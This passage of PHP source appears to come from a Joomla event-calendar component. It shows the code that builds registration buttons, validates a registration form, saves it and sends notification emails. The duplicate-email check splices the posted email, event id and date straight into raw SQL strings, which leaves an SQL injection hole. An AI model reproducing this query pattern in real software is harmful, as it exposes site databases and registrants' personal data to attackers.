					. '*background-color: #531111;'
					. 'background-image: -ms-linear-gradient(top,#b60000,#531111);'
					. 'background-image: -webkit-gradient(linear,0 0,0 100%,from(#b60000),to(#531111));'
					. 'background-image: -webkit-linear-gradient(top,#b60000,#531111);'
					. 'background-image: -o-linear-gradient(top,#b60000,#531111);'
					. 'background-image: linear-gradient(top,#b60000,#531111);'
					. 'background-image: -moz-linear-gradient(top,#b60000,#531111);'
					. 'background-repeat: repeat-x;'
					. 'filter: progid:dximagetransform.microsoft.gradient(startColorstr="#b60000",endColorstr="#531111",GradientType=0);'
					. 'filter: progid:dximagetransform.microsoft.gradient(enabled=false);'
					. '*zoom: 1;'
					. '}';
			$doc->addStyleDeclaration( $style );
		}


		if ($reg == 1)
		{
			$dates_bookable	= $this->datelistMkt($i) ? $this->datelistMkt($i) : array();
			$this_event_url	= JURI::getInstance()->toString();
			$cleanurl		= preg_replace('/&date=[^&]*/', '', $this_event_url);
			$cleanurl		= preg_replace('/\?date=[^\?]*/', '', $cleanurl);

			$isSef = JFactory::getApplication()->getCfg( 'sef' );
			$date_var = ($isSef == 1) ? '?date=' :'&amp;date=';

			$select_date = '<div style="display: block; max-height: 130px; width: 180px; overflow-y: auto;">';

			foreach ($dates_bookable AS $d)
			{
				$ex_d		= explode('@@', $d);
				$date_url	= date('Y-m-d-H-i', strtotime($ex_d[0]));
				$select_date.= '<div class="ic-tip-link">';
				$select_date.= '<a href="' . $cleanurl . $date_var . $date_url . '" class="ic-title-cal-tip" rel="nofollow" target="_parent">';
				$select_date.= '&#160;' . $ex_d[1] . '&#160;';
				$select_date.= '</a>';
				$select_date.= '</div>';

				// If date to be set as other date is the current next date
				$is_next = ($date_url == date('Y-m-d-H-i', strtotime($i->next))) ? true : false;
			}

			$select_date.= '</div>';

			$reg_button = '<div class="ic-registration-box">';

			// Upcoming date and ticket(s) available for this event
			if ($upcomingDatesBooking
				&& $ticketsCouldBeBooked
				)
			{
				if (in_array($accessreg, $userLevels))
				{
					if ($this->totalRegistered($i) == $this->maxReg($i))
					{
						$reg_button.= '<a class="ic-addtocal" title="' . htmlspecialchars($select_date) . '" rel="nofollow">';
						$reg_button.= '<div class="ic-btn ic-btn-info ic-btn-small ic-event-full">';
						$reg_button.= '<i class="iCicon iCicon-people"></i>&nbsp;' . JText::_('COM_ICAGENDA_REGISTRATION_DATE_NO_TICKETS_LEFT');
						$reg_button.= '</div>';
						$reg_button.= '<br />';
						$reg_button.= '<span class="ic-select-another-date">' . JText::_('COM_ICAGENDA_REGISTRATION_REGISTER_ANOTHER_DATE') . '</span>';
						$reg_button.= '</a>';
					}

					elseif ($date_is_upcoming
						|| $is_next)
					{
						$reg_button.= '<a href="' . $this->regUrl($i) . '" rel="nofollow">';
						$reg_button.= '<div class="ic-btn ic-btn-success ic-btn-small ic-event-register regis_button">';
						$reg_button.= '<i class="iCicon iCicon-register"></i>&nbsp;' . $TextRegBt;
						$reg_button.= '</div>';
						$reg_button.= '</a>';
					}

					// Registration Until end of the period (dev. special)
					elseif ($regUntilEnd == 1
						&& $is_full_period
						)
					{
						$reg_button.= '<a href="' . $this->regUrl($i) . '" rel="nofollow">';
						$reg_button.= '<div class="ic-btn ic-btn-success ic-btn-small ic-event-register regis_button">';
						$reg_button.= '<i class="iCicon iCicon-register"></i>&nbsp;' . $TextRegBt;
						$reg_button.= '</div>';
						$reg_button.= '</a>';
					}

					else
					{
						$reg_button.= '<a class="ic-addtocal" title="' . htmlspecialchars($select_date) . '" rel="nofollow">';
						$reg_button.= '<div class="ic-btn ic-btn-info ic-btn-small ic-event-finished">';
						$reg_button.= '<i class="iCicon iCicon-people"></i>&nbsp;' . JText::_('COM_ICAGENDA_REGISTRATION_DATE_NO_TICKETS_LEFT');
						$reg_button.= '</div>';
						$reg_button.= '<br />';
						$reg_button.= '<span class="ic-select-another-date">' . JText::_('COM_ICAGENDA_REGISTRATION_REGISTER_ANOTHER_DATE') . '</span>';
						$reg_button.= '</a>';
					}
				}
				else
				{
					$reg_button.= '<a href="' . $this->regUrl($i) . '" rel="nofollow">';
					$reg_button.= '<div class="ic-btn ic-btn-danger ic-btn-small ic-event-register regis_button">';
					$reg_button.= '<i class="iCicon iCicon-private"></i>&nbsp;' . $TextRegBt;
					$reg_button.= '</div>';
					$reg_button.= '</a>';
				}
			}

			// Upcoming date but no ticket left
			elseif ($upcomingDatesBooking
				&& ! $ticketsCouldBeBooked
				)
			{
				if ( ! $date_is_upcoming || $typeReg == 2)
				{
					$reg_button.= '<div class="ic-btn ic-btn-default ic-btn-small ic-event-finished">';
					$reg_button.= '<i class="iCicon iCicon-blocked"></i>&nbsp;' . JText::_('COM_ICAGENDA_REGISTRATION_CLOSED');
					$reg_button.= '</div>';
				}
				else
				{
					$reg_button.= '<div class="ic-btn ic-btn-info ic-btn-small ic-event-full">';
					$reg_button.= '<i class="iCicon iCicon-people"></i>&nbsp;' . JText::_('COM_ICAGENDA_REGISTRATION_EVENT_FULL');
					$reg_button.= '</div>';
				}
			}
			elseif ( ! $upcomingDatesBooking)
			{
				$reg_button.= '<div class="ic-btn ic-btn-default ic-btn-small ic-event-finished">';
				$reg_button.= '<i class="iCicon iCicon-blocked"></i>&nbsp;' . JText::_('COM_ICAGENDA_REGISTRATION_CLOSED');
				$reg_button.= '</div>';
			}
			else
			{
				return false;
			}

			if (!$regLink)
			{
				$reg_button.= '&nbsp;<i class="iCicon iCicon-people ic-people"></i>';
				$reg_button.= '<div class="ic-registered" >' . $this->totalRegistered($i) . '</div>';
			}

			$reg_button.= '</div>';
		}
		else
		{
			return false;
		}

		return $reg_button;
	}

	/** // TO BE CHECKED TO USE UTILITIES
	 * Loads the Event's custom fields for this item
	 *
	 * @return object list.
	 * @since   3.4.0
	 */
	public function loadEventCustomFields($i)
	{
		// Get the database connector.
		$db = JFactory::getDBO();

		// Get the query from the database connector.
		$query = $db->getQuery(true);

		// Build the query programatically (using chaining if desired).
		$query->select('cfd.*, cf.title AS title')
			// Use the qn alias for the quoteName method to quote table names.
			->from($db->qn('#__icagenda_customfields_data') . ' AS cfd');

		$query->leftJoin('#__icagenda_customfields AS cf ON cf.slug = cfd.slug');

		$query->where($db->qn('cfd.parent_id').' = '.(int) $i->id);
		$query->where($db->qn('cfd.parent_form').' = 2');
		$query->where($db->qn('cf.parent_form').' = 2');
		$query->where($db->qn('cfd.state').' = 1');
		$query->where($db->qn('cf.state').' = 1');
		$query->order('cf.ordering ASC');

		// Tell the database connector what query to run.
		$db->setQuery($query);

		// Invoke the query or data retrieval helper.
		return $db->loadObjectList();
	}


	// Save of a registration, and automatic email (TO BE MOVED TO A NEW MODEL/VIEW)
	public function registration($array)
	{
		$menu_items	= icagendaMenus::iClistMenuItems();
		$itemid		= JRequest::getVar('Itemid');

		$linkexist	= '';

		foreach ($menu_items as $l)
		{
			if (($l->published == '1') && ($l->id == $itemid))
			{
				$linkexist = '1';
			}
		}

		if (is_numeric($itemid)
			&& $itemid != 0
			&& $linkexist == 1
			)
		{
			// Import params - Limit Options for User Registration
			$app			= JFactory::getApplication();
			$date			= JFactory::getDate();
			$params			= $app->getParams();
			$isSef			= $app->getCfg('sef');
			$eventTimeZone	= null;

			$data = new stdClass();

			// Set the values
			$data->id = null;
			$data->eventid = '0';

			$data->userid	= isset($array['uid']) ? $array['uid'] : '';
			if (isset($array['name'])) $data->name = $array['name'];
			$data->email	= isset($array['email']) ? $array['email'] : '';
			$data->phone	= isset($array['phone']) ? $array['phone'] : '';
			if (isset($array['date'])) $data->date = $array['date'];
			if (isset($array['period'])) $data->period = $array['period'];
			if (isset($array['people'])) $data->people = $array['people'];
			$data->notes	= isset($array['notes']) ? htmlentities(strip_tags($array['notes'])) : '';
			if (isset($array['event'])) $data->eventid = $array['event'];
			if (isset($array['menuID'])) $data->itemid = $array['menuID'];

			$data->created		= $date->toSql();
			$data->created_by	= $data->userid;

			$current_url		= isset($array['current_url']) ? $array['current_url'] : 'index.php';
			$max_nb_of_tickets	= isset($array['max_nb_of_tickets']) ? $array['max_nb_of_tickets'] : '1000000';
			$tos				= isset($array['tos']) ? 'checked' : '';
			$custom_fields		= isset($array['custom_fields']) ? $array['custom_fields'] : false;
//			$tickets_left		= isset($array['tickets_left']) ? $array['tickets_left'] : '1000000';
			$email2				= isset($array['email2']) ? $array['email2'] : false;

			// Filter Name
			$array['name'] = str_replace("'", '’', $array['name']);
			$array['name'] = (string) preg_replace('/[\x00-\x1F\x7F]/', '', $array['name']);

			// Set Form Data to Session
			$session = JFactory::getSession();
			$session->set('ic_registration', $array);
			$session->set('ic_submit_tos', $tos);
			$custom_fields_array = isset($array['custom_fields']) ? (array) $array['custom_fields'] : array();
			$session->set('custom_fields', $custom_fields_array);
			$session->set('email2', $email2);

			// Control if still ticket left
			$db		= JFactory::getDbo();
			$query	= $db->getQuery(true);
			// Registrations total
			$query->select('sum(r.people) AS registered');
			$query->from('`#__icagenda_registration` AS r');
			$query->where('r.state > 0');
			$query->where('r.date = ' . $db->q($data->date));
			$query->where('r.eventid = ' . (int) $data->eventid);
			$db->setQuery($query);
			$registered = $db->loadObject()->registered;

			$data->checked_out_time = date('Y-m-d H:i:s');

			// Set Date in url
			$datesDisplay	= $params->get('datesDisplay', 1);

			$date_alias		= $data->date ? iCDate::dateToAlias(date('Y-m-d H:i', strtotime($data->date))) : false;
			$date_var		= ($isSef == 1) ? '?date=' :'&amp;date=';

			$this_date		= $date_alias ? $date_var . $date_alias : '';
			$dateInUrl	= ($datesDisplay === 1) ? $this_date : '';

			// Get the "event" URL
			$baseURL = JURI::base();
			$subpathURL = JURI::base(true);

			$baseURL	= str_replace('/administrator', '', $baseURL);
			$subpathURL	= str_replace('/administrator', '', $subpathURL);

			// Sub Path filtering
			$subpathURL = ltrim($subpathURL, '/');

			// URL Event Details filtering
			$urlEvent	= str_replace('&amp;', '&', JRoute::_('index.php?option=com_icagenda&view=list&layout=event&Itemid=' . (int) $data->itemid . '&id=' . (int) $data->eventid)) . $dateInUrl;
			$urlEvent	= ltrim($urlEvent, '/');

			if (substr($urlEvent, 0, strlen($subpathURL) + 1) == "$subpathURL/")
			{
				$urlEvent = substr($urlEvent, strlen($subpathURL) + 1);
			}

			$urlEvent	= rtrim($baseURL, '/') . '/' . ltrim($urlEvent, '/');

			// URL List filtering
			$urlList	= str_replace('&amp;', '&', JRoute::_('index.php?option=com_icagenda&view=list&Itemid=' . (int) $data->itemid));
			$urlList	= ltrim($urlList, '/');

			if (substr($urlList, 0, strlen($subpathURL)+1) == "$subpathURL/")
			{
				$urlList = substr($urlList, strlen($subpathURL)+1);
			}

			$urlList	= rtrim($baseURL, '/') . '/' . ltrim($urlList, '/');

			// URL Registration filtering // NOT USED
			$urlRegistration	= str_replace('&amp;','&', JRoute::_('index.php?option=com_icagenda&view=list&layout=registration&Itemid=' . (int) $data->itemid . '&id=' . (int) $data->eventid));
			$urlRegistration	= ltrim($urlRegistration, '/');

			if (substr($urlRegistration, 0, strlen($subpathURL)+1) == "$subpathURL/")
			{
				$urlRegistration = substr($urlRegistration, strlen($subpathURL)+1);
			}

			$urlRegistration	= rtrim($baseURL, '/') . '/' . ltrim($urlRegistration, '/');

			// URL Payment filtering
			$urlPayment	= str_replace('&amp;','&', JRoute::_('index.php?option=com_icagenda&view=list&layout=actions&Itemid=' . (int) $data->itemid . '&id=' . (int) $data->eventid));
			$urlPayment	= ltrim($urlPayment, '/');

			if (substr($urlPayment, 0, strlen($subpathURL)+1) == "$subpathURL/")
			{
				$urlPayment = substr($urlPayment, strlen($subpathURL)+1);
			}

			$urlPayment	= rtrim($baseURL, '/') . '/' . ltrim($urlPayment, '/');

			$urlPayment	= $urlPayment . '?status=payment';



			// Check number of tickets left
			$tickets_left = $max_nb_of_tickets - $registered;

			// IF NO TICKETS LEFT
			if ($tickets_left <= 0)
			{
				$app->enqueueMessage(JText::_('COM_ICAGENDA_ALERT_NO_TICKETS_AVAILABLE'), 'warning');

				$app->redirect(htmlspecialchars_decode($urlEvent));
			}

			// IF NOT ENOUGH TICKETS LEFT
			elseif ($tickets_left < $data->people)
			{
				$msg = JText::_('COM_ICAGENDA_ALERT_NOT_ENOUGH_TICKETS_AVAILABLE') . '<br />';
				$msg.= JText::sprintf('COM_ICAGENDA_ALERT_NOT_ENOUGH_TICKETS_AVAILABLE_NOW', $tickets_left) . '<br />';
				$msg.= JText::_('COM_ICAGENDA_ALERT_NOT_ENOUGH_TICKETS_AVAILABLE_CHANGE_NUMBER');

				$app->enqueueMessage($msg, 'error');

				$app->redirect(htmlspecialchars_decode($current_url));
			}


			// CONTROL NAME VALUE
			$name_isValid = '1';

//			$pattern = "#[/\\\\/\<>/\"%;=\[\]\+()&]|^[0-9]#i";
			$pattern = "#[/\\\\/\<>/\";=\[\]\+()%&]#i";

        	if ($array['name'])
        	{
				$nbMatches = preg_match($pattern, $array['name']);

				// Name contains invalid characters
				if ($nbMatches && $nbMatches == 1)
				{
					$name_isValid = '0';
					$app->enqueueMessage(JText::sprintf( 'COM_ICAGENDA_REGISTRATION_NAME_NOT_VALID' , '<b>' . htmlentities($array['name'], ENT_COMPAT, 'UTF-8') . '</b>'), 'error');
				}

				// Name is less than 2 characters
				if (strlen(utf8_decode($array['name'])) < 2)
				{
					$name_isValid = '0';
					$app->enqueueMessage(JText::_( 'COM_ICAGENDA_REGISTRATION_NAME_MINIMUM_CHARACTERS'), 'error');
				}
        	}
        	else
        	{
				$app->enqueueMessage(JText::_( 'COM_ICAGENDA_FORM_VALIDATE_FIELD_REQUIRED') . ' ' . JText::_( 'ICAGENDA_REGISTRATION_FORM_NAME' ), 'error');
			}

			$data->name = filter_var($data->name, FILTER_SANITIZE_STRING);

			// CONTROL EMAIL VALUE
			$emailRequired	= $params->get('emailRequired', 1);
			$emailConfirm	= $params->get('emailConfirm', 1);

			// Check if Email not empty
			if ($emailRequired
				&& ! $data->email)
			{
				$app->enqueueMessage(JText::_( 'COM_ICAGENDA_FORM_VALIDATE_FIELD_REQUIRED' ) . ' ' . JText::_( 'ICAGENDA_REGISTRATION_FORM_EMAIL' ), 'error');
			}

			// Check if Confirm Email equals Email
			if ($emailConfirm
				&& empty($data->userid)
				&& $data->email != $email2)
			{
				$app->enqueueMessage(JText::_( 'COM_ICAGENDA_FORM_VALIDATE_FIELD_INVALID' ) . ' ' . JText::_( 'IC_FORM_EMAIL_CONFIRM_LBL' ) . '<br />' . JText::_( 'COM_ICAGENDA_FORM_VALIDATE_FIELD_EMAIL2_MESSAGE' ), 'error');
			}

			// Advanced Checkdnsrr email
			$emailCheckdnsrr	= JComponentHelper::getParams('com_icagenda')->get('emailCheckdnsrr', '0');

			if (!empty($data->email))
			{
				$validEmail = true;
				$checkdnsrr = true;

				if (($emailCheckdnsrr == 1) AND (function_exists('checkdnsrr')))
				{
					$provider = explode('@', $data->email);
					if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
					{
						if (version_compare(phpversion(), '5.3.0', '<'))
						{
							$checkdnsrr = true;
						}
					}
					else
					{
						$checkdnsrr = checkdnsrr($provider[1]);
					}
				}
				else
				{
					$checkdnsrr = true;
				}
			}
			else
			{
				$checkdnsrr = true;
			}

			// Check if valid email address
			$validEmail = $validEmail ? $this->validEmail($data->email) : false;

			if ( ! $checkdnsrr
				|| ! $validEmail
				&& $data->email
				)
			{
				// message if email is invalid
				$app->enqueueMessage(JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_NOT_VALID' ), 'error');
			}

			$eventid	= $data->eventid;

			$period		= (isset($data->period)) ? $data->period : '0';

			$people		= $data->people;
			$name		= $data->name;
			$email		= $data->email;
			$phone		= $data->phone;
			$notes		= html_entity_decode($data->notes);
			$dateReg	= $data->date;

			$limitRegEmail	= $params->get('limitRegEmail', 1);
			$limitRegDate	= $params->get('limitRegDate', 1);

			$alreadyexist	= 'no';

			if ($limitRegEmail == 1 || $limitRegDate == 1)
			{
				$cf = JRequest::getString('email', '', 'post');

				if ($limitRegDate == 0)
				{
					$query = "
						SELECT COUNT(*)
						FROM `#__icagenda_registration`
						WHERE `email` = '$cf' AND `eventid`='$eventid' AND `state`='1'
					";
				}
				elseif ($limitRegDate == 1)
				{
					$query = "
						SELECT COUNT(*)
						FROM `#__icagenda_registration`
						WHERE `email` = '$cf' AND `eventid`='$eventid' AND `date`='$dateReg' AND `state`='1'
					";
				}

				$db->setQuery($query);

				if ($email != NULL)
				{
					if ( $db->loadResult() )
					{
						$alreadyexist = 'yes';
						$app->enqueueMessage(JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_ALERT' ) . ' ' . $email, 'error');
					}
					else
					{
						$alreadyexist = 'no';
					}
				}
			}

			$email	= $email ? $email : JText::_( 'COM_ICAGENDA_NOT_SPECIFIED' );

			// Check if Phone not empty
			$phoneRequired	= $params->get('phoneRequired', 1);

			if ($phoneRequired
				&& ! $phone)
			{
				$app->enqueueMessage(JText::_( 'COM_ICAGENDA_FORM_VALIDATE_FIELD_REQUIRED' ) . ' ' . JText::_( 'ICAGENDA_REGISTRATION_FORM_PHONE' ), 'error');
			}

			$phone	= $phone ? $phone : JText::_( 'COM_ICAGENDA_NOT_SPECIFIED' );

			// Check if Custom Fields required not empty
			$customfields_list = icagendaCustomfields::getListCustomFields(1, 1);

			if ($customfields_list)
			{
				foreach ($customfields_list AS $cf)
				{
					if ($cf->cf_required == 1)
					{
						if ($custom_fields[$cf->cf_slug] == '')
						{
							$app->enqueueMessage(JText::_( 'COM_ICAGENDA_FORM_VALIDATE_FIELD_REQUIRED' ) . ' ' . $cf->cf_title, 'error');
						}
					}
				}
			}

			// Check if ToS not checked
			if ( ! $tos)
			{
				$app->enqueueMessage(JText::_( 'COM_ICAGENDA_TERMS_AND_CONDITIONS_NOT_CHECKED_REGISTRATION' ), 'error');
			}

			// RECAPTCHA
			$captcha_plugin	= $params->get('captcha') ? $params->get('captcha') : $app->getCfg('captcha');
			$reg_captcha	= JComponentHelper::getParams('com_icagenda')->get('reg_captcha', 1);

			if ($captcha_plugin && $reg_captcha != '0')
			{
				JPluginHelper::importPlugin('captcha');

				// JOOMLA 3.x/2.5 SWITCH
				if (version_compare(JVERSION, '3.0', 'ge'))
				{
					$dispatcher = JEventDispatcher::getInstance();
				}
				else
				{
					$dispatcher = JDispatcher::getInstance();
				}

				$res		= $dispatcher->trigger('onCheckAnswer', $array['recaptcha_response_field']);

				if ( ! $res[0])
				{
					// message if captcha is invalid
					$app->enqueueMessage(JText::_( 'PLG_RECAPTCHA_ERROR_INCORRECT_CAPTCHA_SOL' ), 'error');
				}
			}


			// Get the message queue
			$error_messages = $app->getMessageQueue();

			if (count($error_messages))
			{
				$app->redirect(htmlspecialchars_decode($current_url));

				return false;
			}

			// clear the data so we don't process it again
			$session->clear('ic_registration');
			$session->clear('custom_fields');
			$session->clear('ic_submit_tos');
			$session->clear('email2');


			/**
			 *	SAVE REGISTRATION DATA TO DATABASE
			 */

			// Option Email required
			if ($emailRequired == '1')
			{
				if (is_numeric($eventid) && is_numeric($period) && is_numeric($people) && $name != NULL && $email != NULL)
				{
					$db->insertObject( '#__icagenda_registration', $data, id );
				}
			}
			else
			{
				if (is_numeric($eventid) && is_numeric($period) && is_numeric($people) && $name != NULL)
				{
					$db->insertObject( '#__icagenda_registration', $data, id );
				}
			}


			/**
			 *	SAVE CUSTOM FIELDS TO DATABASE
			 */

			if ($custom_fields && is_array($custom_fields))
			{
				icagendaCustomfields::saveToData($custom_fields, $data->id, 1);
			}


			/**
			 *	NOTIFICATION EMAILS
			 */
			$author= '0';

			// Preparing the query
			$query = $db->getQuery(true);
			$query->select('e.title AS title, e.startdate AS startdate, e.enddate AS enddate,
					e.created_by AS authorID, e.email AS contactemail, e.displaytime AS displaytime')
				->from('#__icagenda_events AS e')
				->where("(e.id=$data->eventid)");
			$db->setQuery($query);
			$title			= $db->loadObject()->title;
			$startdate		= $db->loadObject()->startdate;
			$enddate		= $db->loadObject()->enddate;
			$authorID		= $db->loadObject()->authorID;
			$contactemail	= $db->loadObject()->contactemail;
			$displayTime	= $db->loadObject()->displaytime;

			$timeformat		= JFactory::getApplication()->getParams()->get('timeformat', 1);
			$lang_time		= ($timeformat == 1) ? 'H:i' : 'h:i A';

			$startD = $this->formatDate($startdate);
			$endD = $this->formatDate($enddate);
			$startT = JHtml::date($startdate, $lang_time, $eventTimeZone);
			$endT = JHtml::date($enddate, $lang_time, $eventTimeZone);

			$regDate = $this->formatDate($data->date);
			$regTime = JHtml::date($data->date, $lang_time, $eventTimeZone);

			$regDateTime		= !empty($displayTime) ? $regDate.' - '.$regTime : $regDate;
			$regStartDateTime	= !empty($displayTime) ? $startD.' - '.$startT : $startD;
			$regEndDateTime		= !empty($displayTime) ? $endD.' - '.$endT : $endD;

			$periodreg = $data->period;

			$defaultemail			= $params->get('regEmailUser', '1');
			$emailUserSubjectPeriod	= $params->get('emailUserSubjectPeriod', '');
			$emailUserBodyPeriod	= $params->get('emailUserBodyPeriod', '');
			$emailUserSubjectDate	= $params->get('emailUserSubjectDate', '');
			$emailUserBodyDate		= $params->get('emailUserBodyDate', '');

			$emailAdminSend			= $params->get('emailAdminSend', '1');
			$emailAdminSend_select	= $params->get('emailAdminSend_select', array('0'));
			$emailAdminSend_custom	= $params->get('emailAdminSend_Placeholder', '');

			$emailUserSend			= $params->get('emailUserSend', '1');

			$eUSP = isset($emailUserSubjectPeriod)
					? $emailUserSubjectPeriod
					: JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_DEFAULT_SUBJECT' );

			$eUBP = isset($emailUserBodyPeriod)
					? $emailUserBodyPeriod
					: JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_DEFAULT_BODY' );

			$eUSD = isset($emailUserSubjectDate)
					? $emailUserSubjectDate
					: JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_DEFAULT_SUBJECT' );

			$eUBD = isset($emailUserBodyDate)
					? $emailUserBodyDate
					: JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_DEFAULT_BODY' );

			$period_set = substr($startdate, 0, 4);

			// Registration Type is set 'for all dates of the event'
			if ($periodreg == 1)
			{
				$periodd 		= '';
				$adminsubject	= JText::_('COM_ICAGENDA_REGISTRATION_EMAIL_ADMIN_DEFAULT_SUBJECT');
				$adminbody 		= JText::_('COM_ICAGENDA_REGISTRATION_EMAIL_ADMIN_DATE_DEFAULT_BODY');

				if ($defaultemail == 0)
				{
					$subject	= $eUSP;
					$body		= $eUBP;
				}
				else
				{
					$subject	= JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_DEFAULT_SUBJECT' );
					$body		= JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_DEFAULT_BODY' );
				}
			}

			// Registration Type is 'select list of dates' (single dates + period)
			// Period (no date, and period = 0)
			elseif ($array['date'] == '' && ! $periodreg)
			{
				$periodd 		= ($period_set != '0000')
								? JText::sprintf( 'COM_ICAGENDA_REGISTERED_EVENT_PERIOD', $startD, $startT, $endD, $endT )
								: '';
				$adminsubject	= JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_ADMIN_DEFAULT_SUBJECT' );
				$adminbody 		= JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_ADMIN_PERIOD_DEFAULT_BODY' );

				if ($defaultemail == 0)
				{
					$subject	= $eUSP;
					$body		= $eUBP;
				}
				else
				{
					$subject	= JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_DEFAULT_SUBJECT' );
					$body		= JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_DEFAULT_BODY' );
				}
			}

			// Registration Type is 'select list of dates' (single dates + period)
			// Single date
			else
			{
				$periodd		= JText::sprintf( 'COM_ICAGENDA_REGISTERED_EVENT_DATE', $regDate, '' );
				$adminsubject	= JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_ADMIN_DEFAULT_SUBJECT' );
				$adminbody		= JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_ADMIN_DATE_DEFAULT_BODY' );

				if ($defaultemail == 0)
				{
					$subject	= $eUSD;
					$body		= $eUBD;
				}
				else
				{
					$subject	= JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_DEFAULT_SUBJECT' );
					$body		= JText::_( 'COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_DEFAULT_BODY' );
				}
			}

			// Get the site name
			$sitename	= $app->getCfg('sitename');

			$siteURL = JURI::base();
			$siteURL = rtrim($siteURL,'/');

			// Get Author Email
			$authormail = '';

			if ($authorID != NULL)
			{
				// Preparing the query
				$query = $db->getQuery(true);
				$query->select('email AS authormail, name AS authorname')->from('#__users AS u')->where("(u.id=$authorID)");
				$db->setQuery($query);
				$authormail = $db->loadObject()->authormail;
				$authorname = $db->loadObject()->authorname;

				if ($authormail == NULL)
				{
					$authormail	= $app->getCfg('mailfrom');
				}
			}

			// Generates filled custom fields into email body
			$customfields = icagendaCustomfields::getListNotEmpty($data->id, 1);

 			$custom_fields = '';

			$newline = ($defaultemail == '0') ? "<br />" : "\n";

			if ($customfields)
			{
				foreach ($customfields AS $customfield)
				{
					$cf_value = isset($customfield->cf_value) ? $customfield->cf_value : JText::_('IC_NOT_SPECIFIED');
					$custom_fields.= $customfield->cf_title . ": " . $cf_value . $newline;
				}
			}

			// MAIL REPLACEMENTS
			$replacements = array(
				"\\n"				=> "\n",
				'[SITENAME]'		=> $sitename,
				'[SITEURL]'			=> $siteURL,
				'[AUTHOR]'			=> $authorname,
				'[AUTHOREMAIL]'		=> $authormail,
				'[CONTACTEMAIL]'	=> $contactemail,
				'[TITLE]'			=> $title,
//				'[EVENTID]'			=> is_numeric($data->eventid) ? (int) $data->eventid : null,
				'[EVENTURL]'		=> $urlEvent,
				'[NAME]'			=> $name,
				'[EMAIL]'			=> $email,
				'[PHONE]'			=> $phone,
				'[PLACES]'			=> $people,
				'[CUSTOMFIELDS]'	=> $custom_fields,
//				'[NOTES]'			=> $notes ? $notes : JText::_('COM_ICAGENDA_NOT_SPECIFIED'),
				'[NOTES]'			=> $notes,
				'[DATE]'			=> $regDate,
				'[TIME]'			=> $regTime,
				'[DATETIME]'		=> ($periodreg != 1) ? $regDateTime : JText::_('COM_ICAGENDA_REG_FOR_ALL_DATES'),
				'[STARTDATE]'		=> $startD,
				'[ENDDATE]'			=> $endD,
				'[STARTDATETIME]'	=> $regStartDateTime,
				'[ENDDATETIME]'		=> $regEndDateTime,
				'&nbsp;'			=> ' ',
			);

			foreach ($replacements as $key => $value)
			{
				$subject = str_replace($key, $value, $subject);
				$body = str_replace($key, $value, $body);
				$adminsubject = str_replace($key, $value, $adminsubject);
				$adminbody = str_replace($key, $value, $adminbody);
			}

			// Set Sender of USER and ADMIN emails
			$mailer = JFactory::getMailer();
			$adminmailer = JFactory::getMailer();

			$mailfrom	= $app->getCfg('mailfrom');
			$fromname	= $app->getCfg('fromname');

			$mailer->setSender(array( $mailfrom, $fromname ));
			$adminmailer->setSender(array( $mailfrom, $fromname ));

			// Set Recipient of USER email
			$user = JFactory::getUser();

			if (!isset($data->email))
			{
				$recipient = $user->email;
			}
			else
			{
				$recipient = $data->email;
			}

			$mailer->addRecipient($recipient);

			// Set Recipient of ADMIN email
			$admin_array = array();

			if (in_array('0', $emailAdminSend_select))
			{
				array_push($admin_array, $mailfrom);
			}

			if (in_array('1', $emailAdminSend_select))
			{
				array_push($admin_array, $authormail);
			}

			if (in_array('2', $emailAdminSend_select))
			{
				$customs_emails = explode(',', $emailAdminSend_custom);
				$customs_emails = str_replace(' ','',$customs_emails);

				foreach ($customs_emails AS $cust_mail)
				{
					array_push($admin_array, $cust_mail);
				}
			}

			if (in_array('3', $emailAdminSend_select))
			{
				array_push($admin_array, $contactemail);
			}

			$adminrecipient = $admin_array;
			$adminmailer->addRecipient($adminrecipient);

			// Set Subject of USER and ADMIN email
			$mailer->setSubject($subject);
			$adminmailer->setSubject($adminsubject);

			// Set Body of USER and ADMIN email
			if ($defaultemail == 0)
			{
				// HTML custom notification email send to user
				$mailer->isHTML(true);
				$mailer->Encoding = 'base64';
			}

			$adminbody = str_replace("<br />", "\n", $adminbody);

			$mailer->setBody($body);
			$adminmailer->setBody($adminbody);

			// Optional file attached
//			$mailer->addAttachment(JPATH_COMPONENT.DS.'assets'.DS.'document.pdf');

			// Send USER email confirmation, if enabled
			if ($emailUserSend == 1
				&& isset($data->email) )
			{
				$send = $mailer->Send();
			}

			// Send ADMIN email notification, if enabled
			if ($emailAdminSend == 1)
			{
				if ($emailAdminSend == 1
					&& isset($data->eventid)
					&& $data->eventid != '0'
					&& $data->name != NULL
					)
				{
					$sendadmin = $adminmailer->Send();
				}
			}

			$evtParams			= $this->evtParams($i);
			$reg_payment		= $evtParams->get('icpayment', '');
			$iCpaymentPlugin	= JPluginHelper::getPlugin('content', 'ic_payment');

			if ($iCpaymentPlugin)
			{
				$plgParams		= new JRegistry($iCpaymentPlugin->params);
				$reg_payment	= $reg_payment ? $reg_payment : $plgParams->get('icpayment', '');
			}

			if ($alreadyexist == 'no')
			{
				$thank_you = JText::_( 'COM_ICAGENDA_REGISTRATION_TY' ) . ' ' . $data->name;
				$thank_you.= ', ' . JText::sprintf( 'COM_ICAGENDA_REGISTRATION', $title );
				$thank_you.= '<br />' . $periodd . ' (<a href="' . $urlEvent . '">'. JText::_( 'COM_ICAGENDA_REGISTRATION_EVENT_LINK' ) . '</a>)';

				// redirect after successful registration
				$app->enqueueMessage($thank_you, 'message');

				if ($reg_payment)
				{
					$app->redirect(htmlspecialchars_decode($urlPayment));
				}
				else
				{
